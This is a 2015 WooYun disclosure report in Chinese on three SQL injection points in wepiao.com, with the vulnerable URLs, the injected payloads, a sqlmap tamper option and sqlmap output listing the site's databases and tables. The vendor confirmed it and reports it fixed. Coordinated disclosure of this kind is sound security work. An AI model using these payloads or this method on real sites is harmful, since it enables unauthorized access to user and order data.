当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0121306

漏洞标题：微影时代SQL注入打包

相关厂商：wepiao.com

漏洞作者： 路人甲

提交时间：2015-06-18 12:11

修复时间：2015-08-02 12:24

公开时间：2015-08-02 12:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-18： 细节已通知厂商并且等待厂商处理中
2015-06-18： 厂商已经确认，细节仅向厂商公开
2015-06-28： 细节向核心白帽子及相关领域专家公开
2015-07-08： 细节向普通白帽子公开
2015-07-18： 细节向实习白帽子公开
2015-08-02： 细节向公众公开

简要描述：

RT

详细说明：

三处注入打包
注入点1：

http://www.wepiao.com/?a=filmdetail&c=film&m=web&fid=5452


fid参数
注入点2：

http://www.wepiao.com/?a=cinemadetailshow&c=cinema&m=web&cinemaid=1002069


cinemaid参数
注入点3：

http://www.wepiao.com/?a=seatinfo&c=film&mpid=5574e033ba8e7fbb7d8b56f5&scheid=&m=web&cinemaid=1002069&hid=8&fid=5577


cinemaid=1002069参数
sqlmap证明下：需要加参数--tamper=space2comment

1.jpg

漏洞证明：

sqlmap identified the following injection points with a total of 169 HTTP(s) requests:
---
Parameter: fid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: a=filmdetail&c=film&m=web&fid=5452' AND 1072=1072 AND 'VGcO'='VGcO
    Vector: AND [INFERENCE]
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: a=filmdetail&c=film&m=web&fid=5452' AND SLEEP(5) AND 'BSKe'='BSKe
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
web application technology: PHP 5.4.35
back-end DBMS: MySQL 5.0.12
current user:    'app_weiying@%'
current database:    'app_weiying'
current user is DBA:    False
available databases [3]:
[*] app_weiying
[*] information_schema
[*] test
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: fid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: a=filmdetail&c=film&m=web&fid=5452' AND 1072=1072 AND 'VGcO'='VGcO
    Vector: AND [INFERENCE]
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: a=filmdetail&c=film&m=web&fid=5452' AND SLEEP(5) AND 'BSKe'='BSKe
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
back-end DBMS: MySQL 5.0.12
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: fid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: a=filmdetail&c=film&m=web&fid=5452' AND 1072=1072 AND 'VGcO'='VGcO
    Vector: AND [INFERENCE]
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: a=filmdetail&c=film&m=web&fid=5452' AND SLEEP(5) AND 'BSKe'='BSKe
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
web application technology: PHP 5.4.35, Nginx
back-end DBMS: MySQL 5.0.12
Database: app_weiying
[50 tables]
+-----------------------------+
| !omment_like                |
| comment                     |
| comment_reply               |
| film_seen                   |
| film_want                   |
| t_weiying_banner            |
| t_weiying_order             |
| weiying_active              |
| weiying_activites           |
| weiying_ad                  |
| weiying_admin               |
| weiying_admin_panel         |
| weiying_admin_role          |
| weiying_admin_role_priv     |
| weiying_area                |
| weiying_certificate         |
| weiying_cinema              |
| weiying_city                |
| weiying_code                |
| weiying_copywriting         |
| weiying_device              |
| weiying_evallike            |
| weiying_evaluation          |
| weiying_fctable             |
| weiying_feedback            |
| weiying_film                |
| weiying_grouponticket_order |
| weiying_groupticket         |
| weiying_hall                |
| weiying_menu                |
| weiying_notice              |
| weiying_order               |
| weiying_order_stream        |
| weiying_paytemp             |
| weiying_poster              |
| weiying_praise              |
| weiying_preuve              |
| weiying_reply               |
| weiying_sche                |
| weiying_scheseat            |
| weiying_scheseat_new        |
| weiying_seats               |
| weiying_see                 |
| weiying_show                |
| weiying_tagephoto           |
| weiying_ticket              |
| weiying_token               |
| weiying_user                |
| weiying_versions            |
| weiying_webad               |
+-----------------------------+


证明即可，就不继续深入了

修复方案：

参数过滤，尽快修复吧

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2015-06-18 12:22

厂商回复：

我们尽快修复，谢谢。

最新状态：

2015-07-19：已修复，非常感谢。